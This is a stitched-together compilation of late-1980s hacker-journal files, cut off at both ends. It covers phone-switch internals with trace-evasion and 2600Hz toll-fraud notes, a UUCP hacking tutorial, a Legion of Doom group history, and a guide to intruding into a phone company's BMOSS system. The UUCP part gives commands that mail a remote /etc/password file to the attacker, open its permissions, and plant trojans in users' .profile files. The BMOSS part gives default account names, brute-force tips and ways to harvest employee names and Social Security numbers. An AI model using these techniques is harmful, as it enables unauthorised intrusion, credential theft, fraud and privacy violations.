audio is scrambled in a manor that allows one only to tell +what type of signal is present on the line, or whether it is busy or not. + + All of these testing systems have one thing in common: they access the +line through a "No Test Trunk". This is a switch which can drop in on a +specific path or line and connect it to the testing device. It depends on +the device connected to the trunk, but there is usually a noticeable "click" +heard on the tested line when the No Test Trunk drops in. Also the testing +devices I have mentioned here will seize the line, busying it out. This will +present problems when trying to monitor calls, as you would need to drop in +during the call. The No Test Trunk is also the method in which operator +consoles perform verifications and interrupts. + + + ** INTEROFFICE SIGNALLING ** + + Calls coming into and leaving the switch are routed via trunks. The +switches select which trunk will route the call most effectively and then +retransmits the dialed number to the distant switch. There are several +different ways this is done. The two most common are Loop Signaling and CCIS, +Common Channel Interoffice Signaling. The predecessor to both of these is the +famous and almost extinct "SF Signaling". This utilized the presence of +2600hz to indicate trunks in use. If one winks 2600Hz down one of these +trunks, the distant switch would think you hung up. Remove the 2600, and you +have control of the trunk and you could then MF a number. This worked great +for years. Assuming you had dialed a toll free number to begin with, there +was no billing generated at all. The 1AESS does have a program called SIGI +that looks for any 2600 winks after the original connection of a toll call. +It then proceeds to record on AMA and output any MF digits received. For more +information on AMA see Phantom Phreaker's article entitled, Understanding +Automatic Message Accounting in the LOD/H TJ Issue #3. However due to many +long distant carriers using signaling that can generate these messages it is +often overlooked and "SIG IRR" output messages are quite common. + + Loop signaling still uses MF to transmit the called number to distant +switches, however, the polarity of the voltage on the trunk is reversed to +indicate trunk use. + + CCIS sometimes referred to CCS#6 uses a separate data link sending +packets of data containing information regarding outgoing calls. The distant +switch monitors the information and connects the correct trunk to the correct +path. This is a faster and more efficient way of call processing and is being +implemented everywhere. The protocol that AT&T uses is CCS7 and is currently +being accepted as the industry standard. CCS6 and CCS7 are somewhat similar. + + Interoffice trunks are multiplexed together onto one pair. The standard +is 24 channels per pair. This is called T-1 in it's analog format and D-1 +in its digital format. This is often referred to as carrier or CXR. The terms +frame error and phase jitter are part of this technology which is often a +world in itself. This type of transmission is effective for only a few miles +on twisted pair. It is often common to see interoffice repeaters in manholes +or special huts. Repeaters can also be found within C.O.s, amplifying trunks +between offices. This equipment is usually handled by the "carrier" room, +often located on another floor. Carrier also handles special circuits, private +lines, and foreign exchange circuits. + + After a call reaches a Toll Switch, the transmit and receive paths of +the calling and called party are separated and transmitted on separate +channels. This allows better transmission results and allows more calls to +be placed on any given trunk. This is referred to as 4 wire switching. This +also explains why during a call, one person can hear crosstalk and the other +cannot. Crosstalk will bleed over from other channels onto the multiplexed +T-Carrier transmission lines used between switches. + + + ** CALL TRACING + + So with the Loop Signaling standard format there is no information being +transmitted regarding the calling number between switches. This therefore +causes the call tracing routine to be at least a two step process. This is +assuming that you are trying to trace an anticipated call, not one in +progress. When call trace "CLID" is placed on a number, a message is output +every time someone calls that number. The message shows up on most of the ESS +output channels and gives information regarding the time and the number of the +incoming trunk group. If the call came from within that office, then the +calling number is printed in the message. Once the trunk group is known, it +can usually be determined what C.O. the calls are coming from. This is also +assuming that the calls are coming from within that Bell company and not +through a long distance carrier (IEC). So if Bell knows what C.O. the calls +are coming from, they simply put the called number on the C.I. list of that +C.O. Anytime anyone in that C.O. calls the number in question another message +is generated showing all the pertinent information. + + Now if this were a real time trace it would only require the assistance +of the SCC and a few commands sent to the appropriate switches (i.e. +NET-LINE). This would give them the path and trunk group numbers of the call +in progress. Naturally the more things the call is going through, the more +people that will need to be involved in the trace. There seems to be a common +misconception about the ability to trace a call through some of the larger +packet networks i.e. Telenet and TYMNET. Well I can assure you, they can +track a call through their network in seconds (assuming multiple systems +and/or network gateways are not used) and then all that is needed is the +cooperation of the Bell companies. Call tracing in itself it not that +difficult these days. What is difficult is getting the different organizations +together to cooperate. You have to be doing something relatively serious to +warrant tracing in most cases, however, not always. So if tracing is a +concern, I would recommend using as many different companies at one time as +you think is necessary, especially US Sprint, since they can't even bill +people on time much less trace a call. But...it is not recommended to call +Sprint direct, more on that in the Equal Access section. + + + ** EQUAL ACCESS + + The first thing you need to understand is that every IEC Inter Exchange +Carrier (long distance company) needs to have an agreement with every LEC +Local Exchange Carrier (your local phone company) that they want to have +access to and from. They have to pay the LEC for the type of service they +receive and the amount of trunks, and trunk use. The cost is high and the +market is a zoo. The LECs have the following options: + + - Feature Group A - + + This was the first access form offered to the IECs by the LECs. Basically +whenever you access an IEC by dialing a regular 7 digit number (POTS line) +this is FGA. The IECs' equipment would answer the line and interpret your +digits and route your call over their own network. Then they would pick up an +outgoing telephone line in the city you were calling and dial your number +locally. Basically a dial in, dial out situation similar to Telenet's +PC pursuit service. + + - Feature Group B - + + FGB is 950-xxxx. This is a very different setup from FGA. When you dial +950, your local switch routes the call to the closest Access Tandem (AT) (Toll +Switch) in your area. There the IECs have direct trunks connected between the +AT and their equipment. These trunks usually use a form of multiplexing like +T-1 carrier with wink start (2600Hz). On the incoming side, calls coming in +from the IEC are basically connected the same way. The IEC MFs into the AT +and the AT then connects the calls. There are many different ways FGB is +technically setup, but this is the most common. + + Tracing on 950 calls has been an area of controversy and I would like to +clear it up. The answer is yes, it is possible. But like I mentioned earlier, +it would take considerable manpower which equals expensive to do this. It +also really depends on how the IEC interface is set up. Many IECs have +trunks going directly to Class 5 end offices. So, if you are using a small +IEC, and they figure out what C.O. you are calling from, it wouldn't be out +of the question to put CLID on the 950 number. This is highly unlikely and I +have not heard from reliable sources of it ever being done. Remember, CLID +generates a message every time a call is placed to that number. Excessive +call trace messages can crash a switch. However, I should mention that brute +force hacking of 950s is easily detected and relatively easy to trace. If the +IEC is really having a problem in a particular area they will pursue it. + + - Feature Group C - + + FGC is reserved for and used exclusively by AT&T. + + - Feature Group D - + FGD is similar to FGB with the exception that ANI is MF'ed to the IEC. +The end office switch must have Equal Access capability in order to transmit +the ANI. Anything above a X-bar can have it. FGD can only be implemented on +800 numbers and if an IEC wants it, they have to buy the whole prefix. For a +list of FGD prefixes see 2600 Magazine. You should also be aware that MCI, +Sprint, and AT&T are offering a service where they will transmit the ANI to +the customer as well. You will find this being used as a security or +marketing tool by an increasing amount of companies.

General Information + DDDDDDDDDDDDDDDDDDD + + A. What is UUCP? + + UUCP is a networking facility for the UNIX operating system. +It is made up of a number of different programs that allow UNIX +machines to talk to each other. Using UUCP, you can access a +remote machine to copy files, execute commands, use resources, or +send mail. You can dial out to other non-UNIX computers, and you +can access public mail/news networks such as USENET. + + B. History of UUCP + + The first UUCP system was built in 1976 by Mike Lest at AT&T +Bell Labs. This system became so popular that a second version was +developed by Lesk, David Nowitz, and Greg Chesson. Version 2 UUCP +was distributed with UNIX Version 7. + + With System V Release 3, a new version of UUCP that was +developed in 1983 by Peter Honeyman, David A. Nowitz, and Brian E. +Redman. This version is known as either HoneyDanBer UUCP (from the +last names of the developers), or more conventionally as Basic +Networking Utilities (BNU). I will stick with BNU, as it is easier +to type. BNU is backward compatible with Version 2, so there is +no problem communicating between the two. + + BSD 4.3's UUCP release incorporates some of the BNU features, +but retains more similarity to Version 2 UUCP. + + If you are unsure about which version of UUCP is on the system +that you are in, do a directory of /usr/lib/uucp and look at the +files. If you have a file called L.sys, you are in a Version 2 +system. If there is a file called Systems, then it's BNU. See +Table 1 for a fairly complete listing of what system runs what UUCP +version. + + + Table 1* + DDDDDDD +Manufacturer Model UNIX/UUCP Version + +_____________________________________________________________ +| | | | +| Apollo | 3000 Series (Domain) | BSD 4.2/Version 2| +| Altos | All models | Xenix/Version 2 | +| AT&T | 3B1 (UNIX PC) | System V.2/Vers.2| +| AT&T | 3B2 | System V.3/BNU | +| AT&T | 3B15 | System V.3/BNU | +| Convergent | Miniframe (CTIX) | System V.2/Vers.2| +| Technologies | Mightframe (CTIX) | System V.3/BNU | +| DEC | MicroVAX | Ultrix/Vers. 2 + | +| DEC | VAX | BSD 4.3/Vers. 2 +| +| Encore | Multimax | System V.3/BNU | +| IBM | PC-RT (AIX) | System V.2/Vers.2| +| Masscomp | MC-5000 Series | System V.3/BNU | +| Microport | PC/AT | System V.2/Vers.2| +| NCR | Tower 32/16 | System V.2/Vers.2| +| Prime | EXL Series | System V.2/Vers.2| +| Pyramid | 90x | BSD 4.2/Version 2| +| SCO/Xenix | PC/XT | System V.2/Vers.2| +| Unisys | 5000 & 7000 Series | System V.2/Vers.2| +| | | | +DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD +* This table is slightly outdated. Some of the systems may have + upgraded since this article was written. + + +II. UUCP Communications + DDDDDDDDDDDDDDDDDDD + + A. Overview of UUCP User Programs + + There are a number of programs that are used by a UUCP +communication network. Some are standard UNIX programs, others are +exclusively part of the UUCP package. +................................................................. + + These three are standard UNIX commands: + + mail- UNIX's mail facility can be used to send messages + to other systems on a UUCP network. + cu- Connects you to a remote machine and allows you to + be logged in simultaneously to both machines. Also + allows you execute commands on either machine + without dropping the link. + tip- (BSD) same as cu. + + +++ + + There are five main programs within UUCP: + + uucp- Does all the setup for a remote file transfer. + uucp creates files that describe the file transfer + (called 'work' files), then calls the uucico daemon + to do the actual work. + uux- Used to execute commands on a remote machine. uux + performs similar to uucp, except that commands are + processed instead of files. + uuname- Used to list the names of other systems that are + connected to your network. + uulog- Displays the uucp log for the specified machine. + I'll be showing how to cover your uucp tracks from + this later in the article. + uustat- Gets the status of uux requests. Also lets you + manipulate the contents of a UUCP queue. + + +++ + + System V also has two additional programs: + + uuto- Allows you to send files to another user similar + to the UNIX mail command. + uupick- Allows you to read files sent to you with uuto. + + +++ + + BSD 4.3 has two additional programs: + + uuq- Lets you view & manipulate UUCP jobs that are + waiting to be processed, similar to System V's + uupick program. + uusend- Lets you forward files through a string of systems. + .................................................................. + +III. Using the Programs + DDDDDDDDDDDDDDDDDD + + A. uuname + + This one is easy & friendly. All you do is type '$uuname'. +It will spit out a list of all systems on your network. If you +aren't sure about the name of your local system, invoke uuname with +the -l option. ($uuname -l). + + B. mail + + I'm not going to say to much about mail, as it isn't a program +that you will use much as a hacker except possibly to break out of +a shell. Sending mail to other people is not a good way to stay +hidden, as all mail transfer to remote systems is logged (no, they +may not read the mail, but they're likely to notice that the +unassigned ADMIN account is suddenly getting mail from all over the +world...) These logs can be modified, however. This will +be covered in Part II. + + Briefly, mail is invoked with the command 'mail username' (or +mailx under some systems). If you wish to send mail to user john +on the system you're on, you would type: + +mail john +Dear John- + This is mail. Enjoy it. +^D (usage note, this means control-D) + + To send mail to a user on a remote system, or a string of +systems, you would use the ! key to indicate a remote system name. +If you were on node Alpha and wanted to send mail to john on node +Beta, you would address your mail to 'mail Beta!john'. If you +wanted to send mail to a user on system that's not connected to +yours, but *is* connected to a machine you are connected to, you +would string together the system names, separated by a !. For +example, if node Saturn was connected to Beta, but not to Alpha, +you could send mail to susan on Saturn with 'mail Beta!Saturn!susan'. + + Please note- If you are running the C-Shell or Bourne Shell, +you will have to prefix the ! with a X. i.e. 'mail BetaX!SaturnX!susan'. +Also, the mail header displays the system name, return path, and account +name that you send mail from, so don't try to anonymously mail someone +a message- it won't work. + + Another quick feature (this is under the 'basic unix +knowledge' category), if you want to mail a file named 'message' +to someone, you'd type the following - '$mail Beta!Saturn!susan < +message'. + + Finally, as mentioned above, it may be possible to break out +of a restricted shell within mail. Simply send mail to yourself, +then when you enter mail to read the message, type !sh to exit from +mail into shell. This will often blow off the restricted shell. + + + C. File Transfer + + One of the first things that you will want to do when you +discover that you're on a network (uuname, remember?) is to grab +a copy of the /etc/password file from the systems on the net then +run Shooting Shark's password hacking program from TJ Issue #2. +Even if you have no use for it now, save it & label it, you never +know when you might need to get into that system. Besides, when +printed, they make fun & interesting wallpaper. + + Unfortunately, the /etc/ directory will sometimes have access +restricted. You can get around this by copying the /etc/password +file to the /usr/spool/uucppublic directory using the uux command +(see below). If the uux program has restrictions on in, then you +may have to actually hack into the remote system using the rlogin +command. Be persistent. + + UUCP is also useful in that it allows you to send a file from +your system to a remote system. Got a nice little trojan you need +to insert on their system? Use UUCP to drop it into the /bin/ +directory. Or if they protected the /bin/ directory (likely, if +they have half a brain), they might have forgotten to protect all +of the users private directories (i.e. /usr/mike or /usr/susan or +sometimes even /usr/admin). UUCP a copy of a .profile file to your +system, insert your own stuff in it, then UUCP it back to its +original directory where the user will access it the next time he +logs in. People rarely $cat their .profile file, so you can +usually get away with murder in them. + + While uucp has some limitations, it has the advantage of being +present on every UUCP system in the world. If you're on a System +V, you will probably use uuto & uupick much more frequently, as +it's easier to do subtle hacks with them. But if uucp is all you +have, remember, you're a hacker. Show some ingenuity. The syntax +of uucp when sending a file is: + +$uucp [options] + + For example, you have a program sitting in your working +directory on node Alpha called 'stuff', and you want to plop it +into the /usr/spool/uucppublic/mike/ directory of node Beta. The +command would be '$uucp stuff Beta!/usr/spool/uucppublic/mike/'. +(Don't forget to add a slash in front of the exclamation point if +you're in C-Shell or Bourne!) A good thing to know that will save +you some typing is that the /usr/spool/uucppublic/ directory can +be abbreviated as D/ (in KSH only), so that the above command could look +like '$uucp stuff Beta!D/mike/'. You can also specify a path other than +D/. If you wish to drop your 'new & improved' version of the +/etc/password file into the /etc/ directory, you could do a '$uucp +password Beta!/etc/'. Just don't be surprised if it gets bounced +with a message similar to the following: + + From uucp Sat Dec 24 23:13:15 1988 + Received: by Beta.UUCP (2.15/3.3) + id AA25032; Sat Dec 24 23:13:15 edt + Date: Sat Dec 24 23:13:15 edt + From: uucp + Apparently to: hacker + Status: R + + file /etc/password, system Beta + remote access to path/file denied + + Another hacker-friendly feature of UUCP is the ability to copy +something into a remote user's login directory by entering a D +character before the username. For example, to dump a modified +.profile file into a user on Beta named alex, you would do the +following: + + + '$uucp .profile Beta!Dalex' + +The syntax for uucp when receiving a remote file is: + +$uucp [options] + +For example, you wish to grab Beta's password file and put it in +a subdirectory called tmp in the account 'hacker' on node Alpha. +The command would be: + +'$uucp Beta!/etc/password Alpha!/usr/hacker/tmp/'. + +The same things concerning use of tildes (D) demonstrated in +sending files applies when receiving them. The following table +contains valid options to the uucp command. + + + Table 2 + DDDDDDD + _________________________________________________ + | | + | -C Copy the local source file to the spool | + | directory before attempting the trans- | + | fer. | + | | + | -f If the directory doesn't exist, abort the | + | transfer.

Useful if you wish to log | + | off & then check the progress later. | + | | + DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD + + D. Executing Remote Commands + + The uux program allows users to execute a program on another +system on the network. While in theory this is the most useful +command a hacker can use, in practice it is usually heavily +restricted- any system administrator with half a brain realizes +that letting people execute any command they like from across the +country is not the way to maintain system integrity. + + There are, however, some useful things that can be done with +uux even if the sysadmin has protected the things that *he* thinks +are dangerous (remember, he's not a hacker, you are. You are +smarter, more persistent, and much cleverer than he is. He doesn't +like coming to work every day, can't wait to leave, and will do the +minimum possible to get by. You're different. You're dedicated & +tricky. You *like* what you're doing. If you don't, get the hell +out & let others who do take over. End of the pep talk.) + + The format for the uux command is: + +$uux [options] command-string. + +See Table 3 below for a list of options. + + Ok, ideal case. The System manager of Beta is an idiot who +has left all possible commands open, and the uucico daemon has root +privs. Let's say you want to alter the protection of the password +file, copy it into the D/ (public, remember?) directory, then copy +it over to your system. The sequence of commands would be: + +$uux Beta!chmod 777 /etc/password +$uux Beta!cp /etc/password /usr/spool/uucppublic/info.txt +$uucp Beta!D/info.txt /usr/hacker/ + + The first line would modify the protection where anyone could +get to it, the second line would copy it into the D/ directory, and +the third line would send it along to you. + + Unfortunately, most commands are disabled (useful ones like +chmod and cat and ls, at least.) But sometimes you can get around +that. For instance, often you might not be able to ls or cp the +password file. But very rarely will mail be disabled. So if you +wanted a copy of the password file, you have them mail you one: + +$uux Beta!mail Alpha!hacker < /etc/password + + Later in the UUCP Administration section, I'll explain how to +modify the remote system so any command you want is executable. + + When you execute a remote command, UUCP will automatically +send you mail telling you how it went. It's a good idea to check +the logs and see if there's anything you need to remove to cover +your presence (this subject will be covered in Part II). + + If you are executing a command that is going to need data from +a file, you specify that the file is on your local system by +prefacing it with a X!. I can't think of many reasons to use this, +but perhaps you can. As an example, let's say you wanted to print +a file in your directory called 'stuff' out on a remote laser +printer (bad hacking practice, and difficult to retrieve.) Do this: + +$uux Beta!lp -dlaser X!stuff + + If the command you want to execute (whodo in this example) is +forbidden, you will get a notification message similar to the +following: + +>From uucp Sat Dec 24 23:12:15 EDT 1988 +>From uucp Sat Dec 24 23:12:13 EDT 1988 remote from Beta +Status: R0 +uuxqt cmd (whodo) status (DENIED) + + If you are going to need the standard output for a command, +pipe it into D/. And any files or processes created by uux will +belong to the user uucp, not to you. + + Table 3 + DDDDDDD + __________________________________________________________ + | | + | -a Notify user username when completed. | + | | + | -b Print the Standard Input when the exit status | + | indicates an error. | + | | + | -c Do not copy files to the spool directory (I | + | recommend this one...too big a chance of someone | + | glancing in the spool dir. | + | | + | -g Sets the priority of the transfer. | + | The lower alphabetically or numerically that | + | the char or num is, the faster the process will | + | be executed. i.e. -ga or -g2 will go faster | + | than -gr or -g8. | + | | + | -j Print the UUCP job number.

That goes for this article also, although I have +made an honest attempt at ensuring that it is truthful and accurate, as Ripley +said: believe it, or not. + + I have been "retired" for quite some time now. My definition of retired is +simply that of keeping my activities to those of a strictly legitimate nature. +It is quite funny yet pitiful to here people say, "once a crook always a +crook" AND BELIEVE IT! That statement is a fallacy. Nearly everyone has done +something wrong when they were young yet many grow up to become the so called +normal, law abiding citizens that society says we should be. At this point in +time and in the foreseeable future, the risks of exploring and learning about +telephone and computer networks in a less than legitimate fashion outweigh the +benefits. I think many of the older hackers have adopted this philosophy out +of necessity. This decision is even easier after reflecting on the events of +which I have seen during the course of my "career". Those events are primarily +those of seeing people's rights being violated by law enforcement. Their +privacy being forsaken by the media. I do not dispute however, that some +hackers have done these same things to other hackers and other people. Neither +side is right or fair so I suppose it is time to exit since it's getting too +hot in the kitchen. I will remain however, in an advisory capacity to the +Technical Journal and group for as long as they continue exist. If you are to +believe the rumors, LOD has been dead many times, again untrue. The main +drawback of becoming a BBS hermit is how the rumors start to accrue as time +progresses. I have been "busted" perhaps a hundred times if you believe every +rumor. The fact is that I have never been visited let alone busted. I have +seen many people get into trouble due to their own carelessness. Those who +have remained unmolested by the authorities are either very careful and +paranoid, or are helping them catch others. I have been extremely careful and +exceedingly paranoid, period. + + Now that I have harassed the reader with my comments regarding the whole +hacking/phreaking experience, I present the story. Please note that I realize +many people could care less about all this, and if you are in that category +you can always throw this into the shredder, now. But, there is a sufficient +number of people who actually are curious to get the real story on this stuff +so here it is, presented to correct the many inaccuracies which have surfaced +over the years and also for the sake of posterity. + +_____________________________________________________________________________ + + During the winter break from school in late 1983, I took a trip up to Long +Island, NY to visit Quasi Moto. I had met him in south Florida, and he had +since moved. He decided to put up a BBS, and while visiting him, we worked on +it. For those who do not remember, its name was PLOVERNET. PLOVERNET was +considered a resurrected OSUNY by some since some users migrated to PLOVERNET +after OSUNY went down, at least in part, by an article in Newsweek mentioning +it. A new hacker magazine, 2600, started posting advertisements on various +boards. I had been in contact with Emmanuel Goldstein, the editor of 2600, on +Pirates Cove, another 516 BBS. I gave him the number to PLOVERNET and due to +the large amount of users, (500, of which 70% were relatively active) 2600 had +plenty of response. PLOVERNET went online in January of 1984 and shortly +thereafter it was the busiest BBS around. It was so busy in fact, that a long +distance service called LDX had stopped connecting people who dialed +516-935-2481 which was PLOVERNET's number. Now remember, this is early 1984 +here. The practice of blocking calls to a certain number wasn't really done +by common carriers until 1986/87 with the emergence of new security software +and audit trail information. I picked the best phreaks and hackers from +PLOVERNET and invited them onto the newly created LOD BBS. LOD was one of the +first boards which upon connection did nothing until you entered the primary +password, and there was no new user routine as the board was invitation only. +Again, this was back in early 1984. It was a fairly original albeit paranoid +practice at the time, and many boards subsequently adopted the technique as +security became an increasing concern. + + Various groups had started forming such as Fargo 4A and Knights of Shadow. +I was admitted into Knights of Shadow in early 84. After suggesting some +promising new phreaks/hacks for membership and being turned down because they +were not well known enough, (ie: they weren't big names even though they knew +more than the guys who supposedly were) I put up the Legion Of Doom! bulletin +board and shortly thereafter started a phreak/hack group of the same name. +This was about May of 84 from what my records show. I had been a member of +KOS and LOD or a brief time and then KOS broke up. Although there were many +users on the LOD bbs, VERY FEW WERE MEMBERS OF THE GROUP! This distinction +seems to have been forgotten by many, since some who were on the BBS have +claimed to have been in the group, which is not true. + + The name Legion Of Doom! obviously came from the cartoon series which +pitted them against The Superfriends. I suppose other group names have +come from stranger sources. My handle, Lex Luthor was taken from the +movie Superman I. In the cartoon series, LOD is led by Lex Luthor and +thus, the group name was rather fitting. Being young and naive, I thought +having a handle of someone who claimed to have 'the greatest criminal mind on +Earth' and leading a group of the world's most notorious criminals would be +cool. That was about 7-8 years ago. Now however, I see that there is nothing +cool or attractive about being a criminal (believe it, or not). + + The original group consisted of phreaks who I had thought were very good +but were not considered 'famous' like those in KOS. Those original members +later became some of the best known phreak personalities and contributed +substantially to the knowledge of new and old phreaks alike. A list of members +from the very beginning to the present follows. Through my records and from +the best of my recollection I have approximated dates of entrance and exit and +other information. Also, I believe I have a complete list however, there +could be a mistake or two. Very few if any, handles from the past have been +duplicated by 'impostors' whether knowingly or unknowingly. + + I look at this article as a historical document seeing how no other group +has survived as long as LOD has. LOD originally consisted mainly of phreaks, +but had split into two separate entities. LOD for telecommunications +hobbyists, and LOH for hacking and security enthusiasts. + +Handle Entered Exit Location Reason for leaving +----------------------------------------------------------------------------- +Lex Luthor early 84 CURRENT Here/There ---CURRENT MEMBER--- +Karl Marx early 84 late 85 Colorado Went underground/quit. +Mark Tabas early 84 late 85 Colorado Many reasons. +Agrajag The Prolonged early 84 late 85 California Loss of interest. +King Blotto early 84 late 85 Ohio No time/college. +Blue Archer early 84 Fall 87 Texas College. +The Dragyn early 84 late 86 Minnesota No time/lost interest. + +Unknown Soldier mid 84 early 85 Florida Busted- Toll fraud. +Sharp Razor late 84 early 86 New Jersey Busted- Abusing CIS. +Doctor Who late 84 early 86 Mass.

Most Telco buildings these days are un-marked, +plain, and generally overlooked by the average person. The buildings +were specifically made so that they WOULD be overlooked, concealing +itself and its contents. Knowing where all Bell Co. installations are +would be nice, and through the help of BMOSS we can find out where they +ALL are. + +NOTE: It is possible to get locations from your city hall, just take a +look at what property Bell Co. owns and locate it. However, there are few +catches to this method. First, most cities charge you to find out who +owns what property and there might be a waiting period of a few days. +Second, not all Bell Co. property is owned by Bell Co. There are +instances of Bell Co. renting a piece of property from a company and +using the existing building, possibly with the leasing companies logo +still on it. + + BMOSS stands for Building Maintenance Operations Service System. +BMOSS provides computer support for daily building maintenance tasks. +A comprehensive database helps users keep track of repair activities. +Telco field mechanics logon everyday to do assorted field mechanic +stuff. From BMOSS they can check on tasks needed to be done, send +messages to users, charge various Telco installations for work, log time +sheets, generate purchase orders, see where his buddies are eating lunch etc. + + BMOSSes are usually located in a BOCC (Building Operations Control +Center) or in a REOC (Real Estate Operations Center). BMOSS is run +under AT&T Unix System V and at some points is quite Unix-like. At each +center is one PDP-11/44 or a PDP-11/84 mainframe that is the base of +operations for that center and other installations supported by that +BOCC/REOC. + +LOGGING ONTO BMOSS: + + Before logging on to BMOSS you must select the proper type of +terminal emulation. BMOSS has 4 types of emulations available for all +users. Users within the BOCC/REOC use either VT100 or VT220 compatible +terminals, while other internal stations will use an LA120 printer +terminal. Field Mechanics at a remote location use their typewriter +like LA12 printer terminals. + + Identifying a BMOSS dialup is not that hard at all. After hitting a +three [CR]'s the system will respond with something like this: + + (BEEP!) + + Good Morning (Depending on what time of day it is) + + BASE/OE - Fri 04/23/90 09:43:22 - Online 9 + + User ID? + Password? + + Typically user IDs are the three initials of the field mechanics name. +After inputting your ID you will be prompted with a Password? request. +Passwords can be from 6 to 8 characters in length, including punctuation +marks, the first letter must begin with an alphabet-letter or a number. +They cannot contain spaces or the users first/middle/last name. +Periodically the system will prompt the user for a new password. This +period of time is usually set by the system administrator. + + I have found that the "WRK:A10" user ID or a variation of WRK:xxx +where xxx is a alpha-numerical combination has worked excellent for me. +I believe the WRK:xxx is some type of low-level account when field +mechanics lose their current ID/PW combination. Initials also have been +found on most of the systems, so a WRK:xxx and Initials brute-force attempt +just may give you a working ID. + + +IN BMOSS: + + Once penetrating initial security you are then prompted with BMOSS's +FLD> main level identifier. This FLD> changes as you move from BMOSS's +root to the various main BMOSS branches. + + Sometimes when you logon to BMOSS you will receive a memo saying, +"NOTE - Check your office" at this time go to the Office and read the memos +sent to you. Read THE OFFICE later in this article to learn how. + + BMOSS was designed with the average Joe in mind and is very logically +laid out. BMOSS was modeled after UNIX's Tree-oriented structure. +Here is a Tree of BMOSS's structure: + + BMOSS + _____________|_____________ + | | | | | | + CON DAT ACT FOR BIL OFF + +Main Branches: +CON- Control Functions (Sys Admin payroll/timesheet functions) +DAT- Database Maintenance (What we are mainly concerned with) +ACT- Field Activity (Handles field activities) +FOR- Force Administration (Recording labor hrs for time sheets etc.) +BIL- Bill Paying (Processing purchase orders, producing expense accts.) +OFF- Electronic Office (Receive/Send Messages or Page users) + + Each main branch then branches off into its own specific +commands. I will concentrate on the Database Maintenance functions since +the other functions have little or no use to us. + +DATABASE MAINTENANCE: + + To haul in the mother lode you go into the Database Maintenance area +from the root. This is accomplished by typing DAT in at the FLD> +prompt. Now you should get a DAT> prompt meaning you are now in the +Database Maintenance section. To get a listing of the available DAT +commands type in 'SHO' which is short for SHOW. We are mainly concerned +with the BLD (Building Master) function. Once the BLD function is +selected you will be prompted for a sub-form. There are 7 sub-forms for +the BLD function. + + BLD Sub-Forms: +1. GEN- General Background +2. OWN- Building Ownership (used for adding a new building to database) +3. LES- Lease Terms (used for adding a new building to database) +4. EMG- Emergency Data (contains Police and Fire Dept. that serve this + location and their respective telephone numbers, and whether the + location has backup power and fire-sprinklers etc.) +5. RES- Maintenance Responsibility (Maintenance entries for building) +6. WRD- Building Warden (Building Wardens number etc.) +7. NOT- General Notes (Notes about the particular building) +8. ACC- Accounting Distribution (Account for particular building) + +Accessing the above information is as easy as selection of the three +letter identifier at the Sub-Form prompt. We are particularly concerned +with the GEN (General Background) information. This function gives us the +following data: + + 1. Building's Number + 2. Building's Complete Address + 3. Building's Name + 4. Building's Sector (Bell informational purposes only) + 5. Building's Zone (Bell informational purposes only) + 6. Whether or not Bell owns the building. (A Y/N combination is usually + shown here. Y meaning its is owned by Bellco, N meaning its not + owned by Bellco.) + 7. The building's group (One letter identifier) + 8. The building's use. (Garage/Warehouse/Office etc.) + 9. The kind of telephone equipment used in the building. (ESS1A etc.) +10. Whether or not Bell is Sub-leasing parts of the building. (Y/N identifier) +11. The number of floors in the building +12. The number of basements in the building (A number of 3 here would + mean the building has 3 below ground level floors. +13. Whether or not the building has a cable vault. (Y/N identifier) +14. Gross Square footage of the building +15. The number of reserved parking spaces for the building. + + Once entering the DAT section and entering GEN as your sub-form +selection you will be prompted for a building number. Random selection +of building numbers is necessary because they vary from area to area. +Once a legitimate building number is accessed the above information will +be displayed. + + Ok, you now have the information you need, how do you get back to a +previous directory or even log off ? That's quite easy. Typing in EXI +(short for EXIT) will bring you back up to the root FLD> one directory at +a time. For logging off the system you should hit EXI until you reach the +FLD> root then BYE and you will get: + + BASE/OE - Fri 4/23/90 10:22:13 - Offline 9 + + Have a Good Morning + +OTHER FUNCTIONS: + + I have found the REPORTS function most helpful in finding other +user IDs. To get a listing of the 20+ different types reports type +'HELP REPORT' at the FLD> prompt. We are particularly concerned with +REPORT 41, the Estimated vs. Actual Hours Log. We bring this up by +typing from the FLD: + +FLD> REPORT 41 04/02/90-04/06/90 + + You are inquiring for the estimated vs. actual hours time on a series +of jobs from April 4th 1990 through April 6th 1990. The output then +kicks out the hours and such. Every field mechanic that worked throughout +those days will be displayed in- First name, Middle Initial, and Last Name +totally spelled out for you. + + Another useful report is REPORT 90- Data Access Log. It is called up +by typing: + +FLD> REPORT 90 +Date Range? 04/06/90-04/08/90 + + The system then kicks out all users that used the SCOPE command on +other users. The system prints out the users full name and actual USER ID +and who the user scoped including the scoped-user's Social Security number. + +THE OFFICE: + + When you are prompted that you should check your messages you should +do so immediately before any work is done in BMOSS. First you must go to +your office which is done by selecting OFF from the FLD> identifier. +Once this is done your FLD> prompt will change to a OFF> prompt. Typing +HELP will give you the available HELP commands for the office. + + To check the messages type in: + + OFF> STATUS + + BMOSS will reply with the following: (example) + + Memo From User Subject Status + -------------- ------------------ ---------------------- --- + IPAAA 04/01/90 Wile E Coyote Current Task Info OUT + BNAAA 04/02/90 Susie B Hott Last Saturday Night IN + + The user then sees he has a memo from his boss about his current +tasks and a memo from his co-worker/seductress Susie B. Hott. Fuck his +boss, he wants to read what Susie has to say. So you type in: + + OFF> PRINT BNAAA + + + --- MEMO --- + Date: 04/02/90 + Time: 08:11 + + From: Susie B Hott + To: Legion Of Doom + + Subject: Last Saturday Night + + LOD, I really enjoyed last saturday night. We must do it again. + Give me a call soon, 555-WETT. + ** Susie + + + A useful command is a list of OFFICE users. This gives you another + listing of user's Full-Name/ID combinations. Get this by typing: + + OFF> USERS + + It will then print out the users who are in the Electronic Office + database. + + CONCLUSION: + + You can get HELP from anywhere just by typing HELP from the prompt. +Or if you need specific information about a function type in HELP then +the function name. Such as: + + FLD> HELP REPORT (This gives you options/help on the REPORT command) + + BMOSS can be used for a large amount of purposes for the +hacker/trasher. Even though it doesn't have any really powerful +commands to self-destruct the telephone company it can be used to access +other building's trash, and other things that may interest you. + + ______________________ + ( Spherical Aberration ) +The LOD/H Technical Journal, Issue #4: File #08 of 10 + + The Legion Of Hackers Present: + Updated: Telenet Directory + Part A: Addresses 201XXX to 424XXX + Revision #5 Last Updated: 2/10/90 + (Includes Mnemonic Host Names) + + Scanned and Written by: + Erik Bloodaxe + +INTRODUCTION: +------------- + +It has been some time since our last update. Our old list (Revision #4) has +been distributed to those in the United States and internationally thanks to +the 